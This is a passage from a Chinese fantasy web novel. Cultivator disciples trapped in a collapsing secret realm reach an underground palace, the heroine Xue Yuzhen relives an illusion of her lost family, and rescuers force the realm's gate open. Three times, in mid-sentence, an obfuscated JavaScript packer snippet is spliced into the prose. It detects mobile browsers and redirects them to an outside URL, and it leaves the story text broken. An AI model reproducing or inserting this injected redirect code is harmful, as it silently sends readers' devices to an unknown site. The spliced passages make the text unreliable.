宁沂一开始真的只是将这里当成自己的储物囊和试练地,什么玩意都往里面丢,什么阵法都在里面练。除了散布各处的净化阵外,宁沂在二层的中央绘制了一个巨大的xxx阵,也不知道是不是早就料到了会有这样一天,符箓和阵法的位置都一通塞在自己的手稿里,往泠宿哪里一丢就算是收着了。 正说着,乌霜赤焰和巨狼就一道跑了过来。周围的凶兽也是喘着粗气,呲着利齿将他们团团围住。众人齐齐抽出佩剑,肩抵着肩站着,将受伤严重,修为较低的人围在中间。乌霜赤焰也不知是不是记住了泠宿的气息,直奔着薛予蓁而来。 薛予蓁手握伐邪,心脏狂跳不止。他们先前同乌霜赤焰交过手,明白它不是那么好对付的。正是神经紧绷的时刻,眼前却叫两个人挡住了,子书珹和谢云涧极其自然地将薛予蓁挡在身后。 明明场面已经压抑至极,谢云涧这人却还扭头来看她,朝她眨眨眼,“早就想在薛姑娘面前表现一番,这下总算是有了机会。” 站在他身边的子书珹冷哼一声,看起来像是要不是情况紧急,他会先将这人打一顿。 薛予蓁心中感动,刚想提醒他们乌霜赤焰不好对付,就听一声狼嚎之后,巨狼带着群狼扑向乌霜赤焰。 乌霜赤焰被巨狼扑个正着,勃然大怒,一时间也管不着什么泠宿了,身体一扭便朝着巨狼袭去。 做足了准备的众人看得是目瞪口呆,确实是正等着打起来呢,但没想到是凶兽自己起了内讧。 谢云涧和子书珹均是一愣,但始终没有放下防备。 “薛予蓁,找一个没人的地方,我要将阵法启动。”泠宿道。 薛予蓁四处看了看,这会儿这片林子里,人多,凶兽也多,他们这边乌霜赤焰和巨狼在打,其他的地方凶兽一涌而上,和众人缠斗在一起。薛予蓁刚想往人少的地方走,胳膊却被一人抓住,使劲往外一拉,而后,她刚刚站的地方一条大尾巴凌空砸下,登时将地面砸出几道裂痕来,还带倒了旁边的几棵树。 身后谢云涧的声音传来,“薛姑娘怎么突然走神了?”他收回手的时候在刚刚大力握住的地方揉了揉,轻轻笑了一声,“现在可不是能走神的时候。” 若不是他拽得那一下,自己就算不被砸死也要受伤,薛予蓁脸色白了几分,她道:“抱歉……” 谢云涧道:“不必道歉。”他顿了一下,眼神沉沉地扫视着全场,“话说,薛姑娘可有听见什么奇怪的声音?” 奇怪的声音?薛予蓁一怔,要说声音的话,现在混乱的场面下,她只能听见巨狼的嘶吼咆哮声,乌霜赤焰在地上爬行时摩擦发出的声音,两者斗在一起时身体的碰撞声,还有大家哭天喊地的声音。 “什么奇怪的声音?”一侧的子书珹问道。 “嗯……就像是什么东西断裂的声音——” 咔嚓,咔嚓。 谢云涧话音刚落,薛予蓁就感觉到了强烈的失重感,她还正偏头看着子书珹要说话,但此刻她只看见了子书珹眼中浮现出来的错愕。 轰得一声,自中心位置开始往外数十丈内,土地瞬间崩塌! 没有一个人会料到这样的情况发生,就连藏在薛予蓁袖子中的泠宿也无比震惊。更叫人感到恐惧的是,地面塌陷的一瞬间,自下面涌上来一股极大的威压,将所有人的修为都压制住了,他们甚至使不出一点灵力来驱动灵剑御剑逃离这里,只能感受着四肢传来的失重感将他们拽进下面。 动物对危机的感受更为敏感,在地面塌陷的前一秒钟,所有的凶兽都在奋力往边缘处跑。此刻,顺利跑出去的凶兽被威压压制得瑟瑟发抖,而没能跑出去的四肢僵直地掉下去了。 怎么又要掉坑里了?!我是同坑有什么不解之缘吗?! 薛予蓁咬牙切齿地想着,在最后一瞬间将泠宿从自己的手腕上薅了下来,使劲抛了出去。 耳边是呼呼的风声,眼前的绿意也离自己越来越远,薛予蓁无力地闭上眼睛:前辈,后面就靠你了。 被抛出去的泠宿几乎是在脱离坑洞的瞬间就化为人形,振袖一挥,四周瞬间无数藤蔓暴起疯长,疾驰着往坑洞而去,但却在表面被弹了出去。泠宿脸色一变,落到地上,俯身去触碰坑洞,手却没有顺利探进去,而是触及到一道无形的结界。 他难以置信地睁大双眼,喃喃道:“…这怎么会……” 与此同时,秘境外正在和肖黎说话的褚霁远突然感觉心脏莫名落了一拍,他将目光移至宁沂秘境的大门,很没有礼貌地打断了肖黎的话,“你方才,有没有听见什么声音?” 此时,距离宁沂秘境试炼结束还有十三个时辰。 脑子清醒后,最先感觉到的就是疼痛,头疼,背疼,连四肢都疲软得无力。太疼了,疼得她几乎不想睁开眼睛,但却感觉自己在缓慢移动着。 “师兄…?”薛予蓁迷迷糊糊地喊道,但她昏过去太久,声若蚊蝇。 可即便如此,背着他的人还是听见了,“并不是子书兄哦。”谢云涧虽然语调轻松,薛予蓁也能听出其中紧绷的情绪,“可算是醒了啊,薛姑娘。” “咳咳…谢云涧?” “是我哦。” 强撑着睁开眼睛,眼前却还是一片雾蒙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15471928|169903||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 蒙的黑,薛予蓁挣扎要从谢云涧背上下去,却被他往上颠了一下。少年闷哼一声,“薛姑娘,虽然有些冒犯,但你还是先别动了。”他并没有直接接触到薛予蓁,两手紧抓着自己的手腕,用小臂处拖着薛予蓁,“你运气不太好,摔下来被几块碎石压着,先前你的师兄师姐已经给你喂过药了,但到底伤及肺腑,还是先让我带着你走一段吧。” 细细感受了一下,的确身体乏力,一动便疼得厉害。而听着谢云涧的声音,也能知道他也受伤了,薛予蓁道:“可是你也受伤了吧?” 谢云涧笑了一声,“我这人天生就运气比较好,居然摔到了一只凶兽身上,没有那么严重。” 适应了黑暗后,薛予蓁隐隐约约能看见一些东西了,她探着脑袋看了看谢云涧的表情,谢云涧刚巧也想同她说话,微微一扭头,两人额头清脆一声磕在一起,但谁都没喊疼,四目相对地看着对方。 最后还是谢云涧先移开了目光,“怎么一直看我?是有什么要说吗?”语气有些许的不自然。 薛予蓁没听出来,摇摇头,“只是在看你真的没事吗?” “那结论呢?” 薛予蓁将头贴在谢云涧的肩膀处,“那便多谢谢小公子了。” “哈哈,之前叫我云涧,刚刚又喊了我的大名,怎么现在就变成了谢小公子了?”谢云涧道。 薛予蓁道:“之前和一个前辈一起,不自觉就变成这样了…”说起泠宿,薛予蓁不禁担忧起来,自己当时有没有顺利将他丢出去啊…还有,地面怎么会突然塌陷呢?泠宿,真的值得信任吗? “对了,子书师兄他们——!”薛予蓁突然撑起身体,焦急地问道,“他们没事吧?” “子书兄没事,他和我位置相当,都有东西垫背。至于你们宗门的弟子,有一位师兄伤得比较严重,子书师兄背着他呢。”谢云涧道。 “是许师兄吗?”薛予蓁语气艰涩。 “嗯。”谢云涧很快又补充道,“别担心,那位徐师姐很快就给他止住了伤口,虽然还在昏睡,但情况好很多。” “大家的情况怎么样?” 听到这个问题,谢云涧沉默了一会儿,才开口道:“有一位不巧摔到了一个石锥上,我们发现时因为失血过多,已经没有气息了。还有一位被掩埋在石堆下面……”他话虽没说完,但薛予蓁也猜得到结果了。 她气息急促起来,“怎么会这样呢?这不过只是一个秘境试炼呀……”突然被篡灵术夺取灵识的修士,暴动的凶兽,塌陷的地面,这一切怎么会这么巧合? “你也觉得不对劲?”谢云涧道。 薛予蓁:“也?” 谢云涧压低声音,“先前人多眼杂,很多话不便说。在遇到子书兄前,我还遇到了两位别的门派的弟子,听见他们在说‘计划成功了’。” “!”薛予蓁闻言瞪大了双眼,“什么计划……” “我并未同他们正面相撞,只是躲避的时候,不小心听见了。”他说着抬眼看向走在自己前面的人,语气虽然平淡却严肃至极,“看来,我们这之中混了不少居心叵测之人啊。” 薛予蓁犹豫了一下,还是没将先前那个被魔族附身的人告诉他,只是嗯了一声,而后又道:“我们这是要去哪?” 谢云涧道:“不知。只是从刚刚掉下来的地方看,似乎是一个地宫。我们的修为都还没有恢复,那里还有很多凶兽和我们一起掉下来,为了避免发生什么意外,便先顺着这条路走。不过嘛,也只有这一条路,所以希望那些凶兽晚些醒来。” 等了好一会儿没等到身后人的回话,谢云涧低声喊道:“薛姑娘?薛予蓁?”喊了两声后,回应没得到,倒是听见了她平缓的呼吸声,谢云涧愣了一下后失笑,“睡着了?问完自己想知道的就睡,你这真是……” 32. 第三十二章 幻梦 “醒……醒醒…风筝…” 耳边的声音熟悉又温柔,薛予蓁翻了个身,将自己的头埋进被被子里,想也没想地就撒娇道:“哥哥,好累呀,小风筝还想再睡会儿……” 身旁的光影暗了下来,青年坐在床边,晃了晃手中的糖葫芦串,故意道:“诶~那这糖葫芦难道只能哥哥自己吃掉了?” 薛予蓁猛然睁开眼,转身看去,青年正拿着一串红彤彤的糖葫芦串逗她,见她看着自己发愣,往前凑了点,“怎么啦?几日不见,小风筝不认得哥哥了?” 薛予蓁没由来得觉得心口有些难受,眼前的青年突然淹没在一片水雾中。这时换青年手足无措了,他连忙丢下糖葫芦串,凑上前伸手拂去薛予蓁眼眶中滚落的泪滴,语气轻柔得过分,“怎么啦?难道是哥哥不在的时候,有谁欺负我们家小风筝了吗?”他捏了捏薛予蓁的脸,“那个不长眼的家伙惹得我们家小美人哭成这样,告诉哥哥,哥哥替你去教训教训?” 薛予蓁听见这话却是直接扑进他的怀里,咬着牙小声啜泣起来。青年怎么可能见得自己妹妹哭成这样,原先归家时升起的一点逗弄心思散得一干二净,眉间隐隐透露出一点戾气来,他手在薛予蓁的背上轻轻拍着,说话的语气中明显带着怒气,“谁?王一?吴虎?他们有找你麻烦?” 少女埋在他怀里摇摇头,蹭得头发乱糟糟的,小声道:“没有人欺负我,只是很想哥哥……” 这话一出,比什么都有用,青年的火气瞬间就散了,他将薛予蓁紧紧搂在怀里,“小坏蛋,吓得我……”说完松开手,在她头上狠狠揉了一把,“醒了就快起床,我这次同阿娘出去,给你和爹带了不少东西回来。” 说着便带着那串糖葫芦走了出去。 待薛予蓁穿戴好后走到主屋时,就见一道黛紫色的背影,她愣了两秒,而后喊道:“阿娘!” 女子听见声音转身看来,眼中漾着笑意,“哎呀,我们小风筝起来啦?方才听元颐说你想他想得抱着他哭呢。” 薛予蓁想要奔过去的脚步骤然停住,脸涨得通红,嘟囔道:“他怎么这样啊!什么都说……” 薛元颐从女子旁边探出半边身体,朝她眨眨眼。薛予蓁气鼓鼓地想去揍他,却听见女子悠悠叹了一口气,“原来只想哥哥,不想阿娘吗?” 薛予蓁连忙摇头,“怎么会呢,也很想阿娘的。” 女子张开双臂,朝她示意,“那怎么还不来和阿娘抱抱?” 一瞬间薛予蓁就红了眼眶,她像只失去母亲很久的小兽一般投入女子的怀中,下巴压在她的肩窝,依恋地蹭了蹭,同时心中也升起一个疑问,阿娘什么时候变矮了? 问题没问出口,倒是听见了另一个人的唉声叹气,“原来如此,想念兄长,想念阿娘,不想爹爹吗?” 薛予蓁自女子的肩头抬头看去,一名温文尔雅的男人坐在桌前,穿着天青色的袍子,桌上泡着一壶热腾腾的茶,透过氤氲的雾气,薛予蓁撞进一双如玉石般温润的眼眸之中。 女子听见这话,不客气地说道:“尽在这贫嘴逗我们小风筝玩,天天在家同你待在一起,有什么好想的?” 男人哈哈笑了两声,低头饮了一口茶。女子也在这时放开薛予蓁,道:“去同哥哥看看我们给你带什么好玩的回来了。小风筝?”见薛予蓁没有动作,女子疑惑地喊了一声。 薛予蓁还看着男人,眼中又泛起泪光,小声地回道:“不是的,也想的,想爹爹。”说着,眼睛眨了眨,泪就滚落下来了。 “小风筝……”见她这样,女子和薛元颐都担忧地伸出手。 男人放下茶杯站了起来,也朝她张开手臂,“阿爹也很想小风筝,来,阿爹抱抱。” 不同于想对待母亲和哥哥那样急切,薛予蓁鼻尖抽动地走向男人,待被那个宽厚的怀抱紧紧抱住后,她再也忍不住似地大声哭泣起来。男人一手轻抚着她的头,一手在她背上轻拍着,口中安抚道:“我们小风筝,受委屈了。” 这突然的情绪爆发看得女子和薛元颐一愣一愣的,两人此刻居然有些拘谨地站在一旁。女子语气疑惑,“你同小风筝待在家里的时候发生了什么?你丢下闺女自己出去玩儿了?” 男人闻言失笑,“我这病秧子还能往哪跑?兴许是我们小风筝做了一个很可怕很可怕的噩梦吧。” 薛予蓁一大早就哭了三次,也有些不好意思,侧耳贴在男人的胸口处,听着有力的心跳声看着窗沿发呆。薛元颐突然凑了过来,手指在她眼睛底下蹭了蹭,笑道:“好呀你,自己做了噩梦被吓到哭,又不好意思,就拿想哥哥做借口呢?” 他原是想逗趣逗趣,叫她不要再这么伤心难过了,谁知薛予蓁神色恳切地握住了他的手指,摇摇头,“不是的,是真的想哥哥了。” 薛元颐一怔,自己反倒是不好意思了,轻轻抽出手指摸摸妹妹的头,从储物囊里拿出一块烟粉色的丝绸布料,“不说这些了,一会儿你又哭了,眼睛都要肿了。”他将布料展开,“看看喜欢吗?我感觉这个颜色特别衬我们小风筝。” 男人道:“会不会有些暗了?” 女子道:“不会吧。” 薛予蓁伸手摸了摸,看着薛元颐笑得眼睛弯弯,“喜欢的,很好看,谢谢哥哥。” 薛元颐满意地点点头,“喜欢就好,改日哥哥去堇衣镇的朱大娘那学学手艺,亲自给你做一身衣裳。” “你做?”薛予蓁奇道。 薛元颐抬起手看了看,“怎么啦?你哥我剑都使得那么溜,难不成摆不平针线?”他说完,可能是觉得自己太自信了,“应该不至于吧,爹不就很会吗?我怎么着也不会很差……” 薛予蓁贴在男人的怀里,听着青年絮絮叨叨说着,听着女子在一旁出谋划策的声音,眼皮越来越沉重。 再睁眼时,薛予蓁又躺在了自己房内,她急忙起身穿鞋,手忙脚乱中连系系带的时候都出了不少错。好不容易穿戴整齐了,推开门一看,女子在院中给薛元颐喂招,两人打得你来我往,霞光落在院子外的扶桑树上,让这一切看起来格外的美好。 女子眼尖,一招将薛元颐的剑挑飞后,冲她招招手,“小风筝,要不要同阿娘学几招?” 薛予蓁心中微动,手往腰间佩剑上探去,却被人半道截了去,扭头一看,男人不知什么时候站到她身边来了。他握住薛予蓁的手,道:“不是说好我来教小风筝?你且看看元颐吧。” 女子疑惑地嗯了一声,扭头看去,薛元颐果真一副不服气的表情看着她,女人愣了一下,爽朗一笑,“哈哈哈,生气啦元颐?阿娘不是故意的,来来来,我们再来一场。” “阿爹?”薛予蓁不知道为什么男人不让自己去,纳闷地唤了他一声。 男人自然地放开她的手,“小风筝偷偷学了阿爹的剑招吧?可惜学艺不佳,只学了一半……”打趣的目光落到薛予蓁脸上,叫她有些不好意思。 屋外也放了一张藤椅和小桌子,男人施施然坐了回去,扬扬下巴,“给爹看看,小风筝学到什么程度了?” 薛予蓁不好意思地挠挠脸,却没推辞,抽出佩剑站到院中施起招来。不过她的确没有完全学会,不过两三招后便停了下来,有些无措地看着男人说道:“先前阿娘教哥哥的时候,看了几招,后面就没再见到了…”她转身看了看两人,“不然,叫阿娘或者哥哥再施展给我看看?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15471929|169903||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “阿爹?”看着女子和薛元颐发呆之际,男人已经放下手中书卷,走到她的身后了。男人虽然疾病缠身,却也是身量修长挺拔之人,他将少女拢在自己怀中,带着她的手重新握住剑柄,哼笑一声,“不必了,他们不会。” 没等薛予蓁想明白这句“他们不会”是什么意思,男人已经起势动了起来。温热的手掌覆在她的手背,耳边是低沉温润的声音,“你阿娘评价过阿爹的剑招,说是身法灵动,招式凌厉,若是练到上乘,便行如鬼魅,能悄无声息地夺人性命。” 薛予蓁慢慢回过神,随着他的指令一字一动,到了最后真觉得身轻如燕,脚步轻快。这时,男人悄声在她耳边说:“其实,我最初创这剑招,只是觉得逃跑的话会很方便。” 听见这话薛予蓁下意识地一顿,男人却没让她如愿,手中佩剑自身前而起,抬至胸口时往外振出,瞬时反手执剑扬出一道凛然剑气。 随着男人的最后一个字出口,一道剑气斩破虚空。他已然放开薛予蓁的手,站在她的身侧,“此名为,浮生如潋。小风筝,可学会了?” 啪嗒,啪嗒。 晶莹的泪珠滴在剑身上,映出一双红透了的眼睛。薛予蓁不敢去看身旁人,只盯着被斩破的虚空,抖着声音回道:“会了……” 院中扶桑树下,两人还在重复着之前的剑招,已经是第几次了?三次?四次?薛予蓁记不得了。青年面带笑意,身姿潇洒肆意,女子眉间锐气四溢,眼中透着认真的神色,嘴角却温和的扬着。 假的!都是假的! 为什么总是这几个招式?因为她贪玩,总是看不到阿娘和哥哥后面的招式。为什么青年眉眼还透着青涩?因为她不知道兄长成年后是什么模样,只能放大他少年时的模样。扶桑树是传说中的上古神树,她早已记不清家门口栽得是什么树了。 这一切都是假的!她早就再也见不到家人了! 想通这一切的瞬间,薛予蓁的情绪直接崩溃,她丢开手中佩剑,跌坐在地,抱着膝盖呜咽着。早在拥抱女子的时候,薛予蓁就觉察出了不对劲,不是阿娘变矮了,是她长高了,可她分明不该那么高的。但她没有挑破这些,这都是她日思夜想地想要再见一面,再一起生活的亲人。 宽厚的手掌轻柔地落在她的头上,男人在她面前蹲下,小心翼翼地拂着她的发顶,温声感叹着,“我们的小阿予,都这么大了呀……” 薛予蓁泪眼婆娑地抬头,惊异地看着他,“爹爹……?” 男人伸手挑了一下薛予蓁颈间露出来的红线,“你母亲总是带着你和元颐一起出去玩,我一人在家时虽谈不上孤单,但有时也会感到无趣,便鼓捣了许多小玩意…我放了一缕灵识在这枚玉佩中,想着,要是有一天,我的女儿在外面遇见了什么危险,或许我还能起点作用。” 听见这话,薛予蓁将玉佩掏了出来握在手中,哭得更厉害了。 男人心疼地将她搂进自己怀里,“我们的宝贝,受苦了。爹爹知道小阿予想我们了,我们也想着你呢。” 幻境的效果还在,练剑的两人总算察觉到薛予蓁的不对劲,正往这边走着。薛予蓁下巴抵在父亲的肩上,看着母亲和兄长关切的表情,听着他说:“但是不能再在这里待下去了。” 咔嚓。 像是幼时不小心摔碎的那个琉璃画片一样,眼前的画面出现了无数裂痕。薛予蓁不愿再看,将脸埋进男人的怀中。 “阿爹会一直陪着你的……” 可是紧搂着自己的力道也在消失,院子,桌椅,屋子,阿娘,兄长,最后是阿爹,一个一个地消失在她眼前。 薛予蓁落进了一片漆黑的虚空。 33. 第三十三章 诡阵 “哈啊!” 薛予蓁再一次猛地睁开了眼睛。 这次不再是望不见底的无边黑暗了。 眼前明亮得让人觉着五洲的夜明珠都在这里了。 薛予蓁眨了眨被白光刺激得酸涩的眼睛,后知后觉地意识到自己躺在某个人的腿上。眼前多了一片阴影,某人伸出一只手来替她挡了亮光,语气带着些轻松,“薛姑娘,醒了呀。” 幻境里充斥心间的难过心伤还未散去,将薛予蓁的脑子缠得木愣愣的,她张了张口,“啊……” 谢云涧不解,低头去看她。 “?!” 薛予蓁眼中没什么神采,眼周慢慢地红了起来,两行清泪缓缓流下。她动作迟缓地抬手握住自己的玉佩,小声道:“我现在有些难受,可以哭一下吗?” 谢云涧将她扶起来坐着,扭头看向另外一边。肩上多了一点重量,也感受到了一丝温热。薛予蓁说哭一下,就绝不会哭两下,在谢云涧数着大殿门边镶嵌的宝石数到三百二十四颗时,肩上的重量消失了,身边传来薛予蓁小声吸鼻子的声音。他看着五颜六色的宝石,兀地无声笑了一下。 再看去的时候,薛小师姐已经调整好了自己的情绪,除了眼睛有些红红肿肿以外,一切都很好。 薛予蓁将玉佩妥帖地塞进领口里,问道:“我们又掉到什么地方了吗?”她满眼迷茫地看了一下大殿里躺了一地的人。 谢云涧这回是真没忍住,哈哈笑了一下,“没呢,你先前太累了,睡过去了。”他唔了一声,“不过,在你睡过去的时候,发生了三件事情,一件是好事,两件是坏事,薛姑娘想先听什么?” 这样听起来,好事有些来之不易了。 薛予蓁道:“先听好事吧。” “我们找到了宁沂秘境里的地宫大殿,是最安全的地方。” 这确实是一件好消息,薛予蓁眼睛亮了亮,但想起还有坏事,眼里的光又灭了,“坏事有多坏?” 谢云涧没想着再逗她了,指了指地上昏睡过去的一行人,“其一,大殿里有个幻境,大概是会勾起人心底最深的欲望。” 这一点薛予蓁已经切身体会了,她点点头,“其二呢?” “诺,”谢云涧拿起秘境玉牌给她看,“三天试炼时间已经过了,我们并没有被传送出去。” “!!” 薛予蓁抓过玉牌一看,底下的时限的确已经归零,而他们还被困在这秘境之中,“怎么会这样呢?” “大殿外或许还有凶兽围击,殿内不知哪些人心怀不轨。”谢云涧搭着薛予蓁的肩,凑在她耳边小声说,“薛姑娘,咱们还真是腹背受敌。” 薛予蓁却没吭声。她能从秘境中顺利脱身是借助玉佩中爹爹灵识的力量,如今大殿里醒着的就她和谢云涧两人。这人又是怎么醒来的呢? “?”谢云涧看着薛予蓁眼中的怀疑,笑道,“薛姑娘是在怀疑我吗?” “如今只有你我二人是清醒的,你甚至比我还要先醒…”薛予蓁无意透露自己醒来的原因,并未言明,只是含糊说道,“谢小公子灵台清净,心无杂念。” 谢云涧没曾想到会有这样的回复,笑了起来,“哈哈哈哈哈哈…”他指尖在自己的佩剑上一下一下地敲打着,“原来薛姑娘是这样看我的吗?” 观他动作,薛予蓁不着痕迹地往旁边挪了一点,手也摸上伐邪。 “当当!”没想到谢云涧从袖中掏出一团毛绒绒——松果蜷做一团睡得正香。少年憋着笑将它塞了回去,“到底是师父给我寻的‘灵兽’,平常虽是爱吃了些,但偶尔也能救我于险境。”他凑到薛予蓁面前,语气郑重,眼神恳切,“薛姑娘,薛予蓁,相信我,我绝非那心怀不轨之人。” 平白误会了人家,薛予蓁有些脸热,被他这样一说,更是不好意思,捉着剑柄抵在他的胸膛上,将他推远了些,“我,我知道了…” 薛姑娘用劲不大,但抵不过伐邪剑柄有些尖,谢云涧低头揉了揉胸口,垂眸暗自想着,薛予蓁的幻境里,是些什么呢? 幻境也不是在他们一进大殿就开始起作用的,但薛予蓁因为伤势原先就睡了过去,在她身上倒是比他们先起效。谢云涧原想着将她放下来躺着好生休息一下,谁知她却眉头紧蹙,面色苍白。谢云涧以为是伤势反复,刚想去探她脉搏,却眼前一黑,再睁眼时只看见一片云雾缭绕的拂云间,还有藏在云雾里的恼人的师父。那嘴毒的师父瞥了他一眼,一句话都没说出来,先嗤笑了一声。然后谢云涧就感觉自己手指一痛,硬生生地将他从幻境里拔了出去,松果立在他的手掌里朝他歪头。 他本就孤儿一个,十几年来,记忆里除了拂云间和师父,什么都没有。师父虽然嫌他这学不会,那看不懂,却从未短过他什么东西。或许真像薛予蓁说的那样,灵台清净,心无杂念。但薛予蓁就不一样了,谢云涧清醒后第一件事就是去看她,那时她已经没有先前看着那么痛苦了,只是躺在那里,默默地流着泪水,表情委屈至极。 谢云涧从未见到过这样的人,他伸手替她拂开脸上沾湿的头发,将人小心翼翼地挪到腿上让她枕着,这次有心思去想:薛予蓁的幻境里,是什么让她如此委屈的事情呢? “…公子…谢云涧!” 耳边的喊声唤回了谢云涧的思绪,他扭头撞上薛予蓁担忧的眼神。薛予蓁伸手在他眼前晃了晃,“你在想什么呢?我还当你又被幻境魇住了。” 谢云涧抓住她的手,愣了一下后忽然笑了起来,“不会的,醒了之后,就不会再被影响了。” 薛予蓁不自在地将手抽了回去,也不知到底信没信,嘀咕道:“奇奇怪怪…” 谢云涧心情愉悦,“薛姑娘是有什么事情吗?” 薛予蓁道:“嗯,我们现在怎么办?要先把他们叫醒,还是把这个幻阵破开?” 环视了一圈,谢云涧重新靠在墙壁上,“不如,等外面的人救救我们吧。” “啊?” “呃嗯——!”胡子长得都要拖地的长老在身旁弟子的搀扶下站稳,对着褚霁远怒目而视,“竖子尔敢,这可是宁沂秘境!怎么可能由着你说进就进!” 褚霁远面色不善,冷声道:“宁沂秘境又如何,如今时限已过,仍未有一人出来。知源宗三十名弟子尚不明生死,难道作为师兄的我要冷眼旁观?” 除他以外,还有其余人不依不饶,“宁沂秘境除了试炼时开放入口,其余时间都是关着的,这么多年来,从未有人成功打开过,怎么褚道友还要硬来不成?”他面带讥讽,“若是因此,宁沂秘境出了什么问题,你一个小小的弟子,担得起什么责任?” “宁沂秘境已经出了问题 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15471930|169903||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,为何不能强行破开?”一道女声自褚霁远身后传来。 众人看去,施淼淼在百灿和凫华的簇拥下走了过来。施淼淼本就与她母亲有几分相似,现在冷着脸的样子,不见之前柔弱病态,只显露出不尽的凌厉,“我知源宗弟子性命排在第一,区区秘境算什么。”她也不叫师兄了,“褚霁远,把这破秘境的大门砸开。” “你你你,”长胡子长老起得脸色铁青,“你个废物东西懂什么,宁沂秘境里面机缘诸多,不能因为你不能修炼,就要坏了别人的!” 施淼淼兀地笑了一下,看向他,“这位…”她皱了皱眉,“不知道哪个门派的长老。我是废物又如何呢?我父亲是知源宗的掌门,那我未来也未必不能坐到那个位置上,到时,您还不是得恭恭敬敬地喊我一句‘施掌门’。”说到最后,她脸上的笑已经消失干净。 身旁的凫华和百灿对视一眼,不着痕迹地笑了一下。凫华站出来同众人行了一礼,“诸位,我家小姐自小便是这个直爽的性子,此番言论并无别的意思,不过是在担忧门中弟子。毕竟此次参与的人均是内门弟子中的精英。若是出了事情,几位长老要来问罪我家小姐了。”她话锋一转,“各位前辈应该也在担心座下弟子吧?” 她这话一出,本就希望褚霁远快点进秘境探查情况的人都坐不住了,纷纷开口说道:“是啊,来得可是我们文山宗的首席呢!若是出了什么问题,我们同谁要人?宁沂上仙吗?” 崇涧宗的人姗姗来迟,带队的长老温和一笑,“我们少宗主也还在里面呢。自一些事情后,宗主便格外在意血亲的安危,若是出了什么事情……”他阴恻恻地看着潘长老,“怕是宗主,要亲自前来讨要说法了。” 这下潘长老一行人再说不出什么反对的话了。 施淼淼一改方才冷峻的模样,跑到褚霁远身边,焦急询问道:“师兄,如何?能进去吗?” 褚霁远正在探查门口机关,见她背在身后的手有些颤抖,失笑道:“少掌门莫急,弟子还在看。” 施淼淼一愣,见他还有打趣的意思,心中竟奇迹般地没有那么害怕了。 “师兄莫要笑我,方才只是……” 褚霁远摸了摸她的头,“方才做得很棒,师父若是看见了,定会感动得哭出来。” 施淼淼哈哈一笑,“哪会这样,难不成盼着我篡位不成。”她压低了声音,“那几位怎么看都是蓄意阻挠,难道秘境之中真的出什么事情了?小风筝他们……” 蠢人做些小动作都是显眼的。褚霁远眸色渐冷,“事情定有蹊跷,你同师叔待在一起,莫要自己走动,我让凫华和百灿去盯着那些人了。” 至于秘境,褚霁远感受到手下一块松动的石板,轻轻按了下去。哄的一声,秘境紧闭的大门缓缓打开了。 宁沂上仙定然想得到未来有一天,会出这样的事情。 崇涧宗的长老走到褚霁远身边,“我同你一道去。” 褚霁远没什么意见,点点头,正要往里面走,抬脚时却愣了一下。 门开后,门口站着一位黑发黄瞳的男子正死死地盯着他,见他看向自己,道:“你,就是褚霁远?” 男子脚下的阵法还在发光。 褚霁远应了一声,踏进秘境。 好吧,看来也有宁沂上仙未曾预料的事情呢。 34. 第三十四章 不喜 大殿中,薛予蓁跪在许乐禾身边,手掌微微发麻,看了看许师兄红肿的脸颊,不确定地回头看谢云涧,“你确定这样有用——你在干嘛!!” 谢云涧的剑悬在子书珹的面上,好险就要一剑扎下去了。当事人还不明所以,“嗯?我只是想试试,外界的本体受到威胁,灵识会不会感受到。”他看了一眼紧闭双眼的子书珹,遗憾地收回佩剑,“看来不会呢。” 薛予蓁满脸不信,她噌噌噌挪到子书珹身边,上下检查了一番,确定没在子书师兄身上看见什么伤口后,才松了一口气。 “先前就想问了,谢云涧你好像很不喜欢子书师兄。”一时半会也出不去,也叫不醒“沉睡”的师兄师姐,薛予蓁也不着急了,抬头看着谢云涧,问道,“为什么呀?” 谢云涧正在擦拭佩剑上的根本不存在灰尘,“啊…为什么呢?”或许是看见薛予蓁那一瞬间,心脏就莫名剧烈地跳动起来,而子书珹总是在他接近薛予蓁时做碍事的那个人吧。 这是喜欢吗?谢云涧垂眸想着,好轻易的喜欢,不过是第一次见面。 薛予蓁不满地撇撇嘴,“是我在问你诶。” “薛姑娘很关心他呢,是喜欢他吗?”谢云涧道。 “诶?”薛予蓁愣住了。但没几秒,她笑了一下,“为什么这么说,那我也很关心你的话,也是喜欢你吗?” “是吗?那可太好了。”谢云涧瞬间眉眼添笑。 薛予蓁没理会他的话,“是因为,大家对我也很好呀。子书师兄一直都在关照我,像是哥哥一样。” “他是你师兄,这不是很平常的嘛。” 到底和谢云涧才相识没多久,薛予蓁没打算说太多,“总之,你说的那样是没有的,也不要再瞎想了。” 